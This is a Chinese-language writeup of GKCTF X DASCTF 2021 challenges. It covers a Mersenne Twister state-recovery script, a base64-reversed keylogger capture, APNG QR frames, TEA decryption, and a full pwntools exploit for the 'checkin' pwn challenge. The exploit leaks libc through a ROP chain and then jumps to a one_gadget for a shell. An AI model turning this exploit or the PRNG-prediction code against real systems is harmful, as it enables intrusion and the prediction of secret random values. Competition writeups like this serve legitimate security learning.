GKCTF X DASCTF应急挑战杯 Writeup

警告
本文最后更新于 2021-06-27,文中内容可能已过时。

GKCTF X DASCTF 应急挑战杯 Writeup

By:打 CTF 不靠实力靠运气

Crypto

Random

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import gmpy2

import libprngcrack
from Crypto.Util.number import *
from Crypto.Cipher import AES
import random

class RandCrack:

    def __init__(self):
        self.counter = 0
        self.mt = []
        self.state = False

    def getRandom(self):
        if not self.state:
            raise ValueError("Didn't recieve enough bits to predict")
        r = random.Random()
        state = (3, tuple([self._to_int(self.mt[i]) for i in range(624)] + [624]), None)
        r.setstate(state)
        return r


    def submit(self, num):
        if self.state:
            raise ValueError("Already got enough bits")
        bits = self._to_bitarray(num)
        assert (all([x == 0 or x == 1 for x in bits]))
        self.counter += 1
        self.mt.append(self._harden_inverse(bits))
        if self.counter == 624:
            self.state = True

    def _to_bitarray(self, num):
        k = [int(x) for x in bin(num)[2:]]
        return [0] * (32 - len(k)) + k

    def _to_int(self, bits):
        return int("".join(str(i) for i in bits), 2)

    def _or_nums(self, a, b):
        if len(a) < 32:
            a = [0] * (32 - len(a)) + a
        if len(b) < 32:
            b = [0] * (32 - len(b)) + b

        return [x[0] | x[1] for x in zip(a, b)]

    def _xor_nums(self, a, b):
        if len(a) < 32:
            a = [0] * (32 - len(a)) + a
        if len(b) < 32:
            b = [0] * (32 - len(b)) + b

        return [x[0] ^ x[1] for x in zip(a, b)]

    def _and_nums(self, a, b):
        if len(a) < 32:
            a = [0] * (32 - len(a)) + a
        if len(b) < 32:
            b = [0] * (32 - len(b)) + b

        return [x[0] & x[1] for x in zip(a, b)]

    def _decode_harden_midop(self, enc, and_arr, shift):

        NEW = 0
        XOR = 1
        OK = 2
        work = []
        for i in range(32):
            work.append((NEW, enc[i]))
        changed = True
        while changed:
            changed = False
            for i in range(32):
                status = work[i][0]
                data = work[i][1]
                if i >= 32 - shift and status == NEW:
                    work[i] = (OK, data)
                    changed = True
                elif i < 32 - shift and status == NEW:
                    if and_arr[i] == 0:
                        work[i] = (OK, data)
                        changed = True
                    else:
                        work[i] = (XOR, data)
                        changed = True
                elif status == XOR:
                    i_other = i + shift
                    if work[i_other][0] == OK:
                        work[i] = (OK, data ^ work[i_other][1])
                        changed = True

        return [x[1] for x in work]

    def _harden(self, bits):
        bits = self._xor_nums(bits, bits[:-11])
        bits = self._xor_nums(bits, self._and_nums(bits[7:] + [0] * 7, self._to_bitarray(0x9d2c5680)))
        bits = self._xor_nums(bits, self._and_nums(bits[15:] + [0] * 15, self._to_bitarray(0xefc60000)))
        bits = self._xor_nums(bits, bits[:-18])
        return bits

    def _harden_inverse(self, bits):
        # inverse for: bits = _xor_nums(bits, bits[:-11])
        bits = self._xor_nums(bits, bits[:-18])
        # inverse for: bits = _xor_nums(bits, _and_nums(bits[15:] + [0] * 15 , _to_bitarray(0xefc60000)))
        bits = self._decode_harden_midop(bits, self._to_bitarray(0xefc60000), 15)
        # inverse for: bits = _xor_nums(bits, _and_nums(bits[7:] + [0] * 7 , _to_bitarray(0x9d2c5680)))
        bits = self._decode_harden_midop(bits, self._to_bitarray(0x9d2c5680), 7)
        # inverse for: bits = _xor_nums(bits, bits[:-11])
        bits = self._xor_nums(bits, [0] * 11 + bits[:11] + [0] * 10)
        bits = self._xor_nums(bits, bits[11:21])
        return bits

import random
from hashlib import md5


file = open("C:\\random1.txt","w")
for i in range(104):
    file.write(str(random.getrandbits(32))+"\n")
    file.write(str(random.getrandbits(64))+"\n")
    file.write(str(random.getrandbits(96))+"\n")
file.close()

flag = md5(str(random.getrandbits(32)).encode()).hexdigest()
print(flag)



crack = RandCrack()
p = open("c:\\random.txt", "r")
data = p.read().split('\n')
num = 0
for i in data:
    if i == "":
        continue
    t = int(i)
    t = long_to_bytes(t).rjust(12, b'\x00')
    if num % 3 == 0:
        crack.submit(bytes_to_long(t))
    elif num % 3 == 1:
        t1 = bytes_to_long(t[4:8])
        t2 = bytes_to_long(t[8:12])
        crack.submit(t2)
        crack.submit(t1)
    elif num % 3 == 2:
        t1 = bytes_to_long(t[0:4])
        t2 = bytes_to_long(t[4:8])
        t3 = bytes_to_long(t[8:12])
        crack.submit(t3)
        crack.submit(t2)
        crack.submit(t1)
    num += 1
    #print(hex(int(i)))

r = crack.getRandom()
flag = md5(str(r.getrandbits(32)).encode()).hexdigest()
print(flag)


#for i in range(624):
    #crack.submit(int(p.readline().strip()))
#r = crack.getRandom()

Misc

签到

流量包,分析最后一个 base64 的包,内容逐行倒置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
a = '''wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD
jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI
6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM
z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL
sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM
DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y
==QIhM0QDN0Q'''

a = a.split('\n')
for i in a:
    print(i[::-1])

解密出来发现是个,键盘监控数据,根据内容还原

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#######################################
#         2021-03-30 20:01:08         #
#######################################
--------------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:01:13
[回车] 
--------------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:01:13
[回车] [回车] [回车] ffllaagg{{}}WWeellcc))[删除] [删除] 00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!

发现 flag 信息重复,调整后得到正确的 flag

你知道 apng 吗

apng 格式信息上网搜索后发现是一个类似 GIF 的格式,通过 chrome 可以打开,使用录屏软件开启 60 帧录制,录制后的二维码数据逐个使用软件扫描,发现有个二维码无法扫描成功,故用 Ps 进行调整后扫描成功,最后得到的信息连接起来就是 flag。

银杏岛 の 奇妙冒险

硬玩

Pwn

checkin

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *

elf = None
libc = None
file_name = "./login"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def pwn(sh, elf, libc):
    context.log_level = "debug"
    pop_rdi_addr = 0x0000000000401ab3
    main_addr = 0x0000000000401883
    s1_addr = 0x0000000000602400
    sh.sendafter('Please Sign-in', 'admin\x00\x00\x00' + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(main_addr))
    #gdb.attach(sh, "b *0x00000000004018C7")
    sh.sendafter('Please input u Pass', 'admin\x00\x00\x00' * 4 + p64(s1_addr))
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-libc.sym['puts'])
    sh.sendafter('Please Sign-in', 'admin\x00\x00\x00' + p64(libc_base + 0xf1247) * 3)
    sh.sendafter('Please input u Pass', 'admin\x00\x00\x00' * 4 + p64(s1_addr))
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

Reverse

QQQQT

反编译后看到的字符串,base58 解密就是 flag

Crash

Golang 题目,使用 IDA7.6 可以看符号信息,一个 3DES,一个 SHA256,一个 SHA512,一个 md5

,伪代码看到的程序缺失一部分,直接看汇编即可。

GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}

app-debug

代码在 Native 中,一个 TEA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <cstdio>
void encrypt(unsigned int* v, const unsigned int* k)
{
	unsigned int v0 = v[0], v1 = v[1], sum = 0, i;
	unsigned int delta = 0x458BCD42;
	unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	for (i = 0; i < 32; i++)
	{
		sum += delta;
		v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
	}
	v[0] = v0;
	v[1] = v1;
}

void decrypt(unsigned int* v, unsigned int* k)
{
	unsigned long v0 = v[0], v1 = v[1], sum = 0, i;
	for (int i = 0; i < 32; i++) sum += 0x458BCD42;
	unsigned long delta = 0x458BCD42;
	unsigned long k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	for (i = 0; i < 32; i++)
	{
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}

int main()
{
	unsigned int v[2] = { 0xF5A98FF3, 0xA21873A3 }, k[4] = { 9, 7, 8, 6 };
	//encrypt(v, k);
	decrypt(v, k);
	printf("%s", v);
	return 0;
}
0%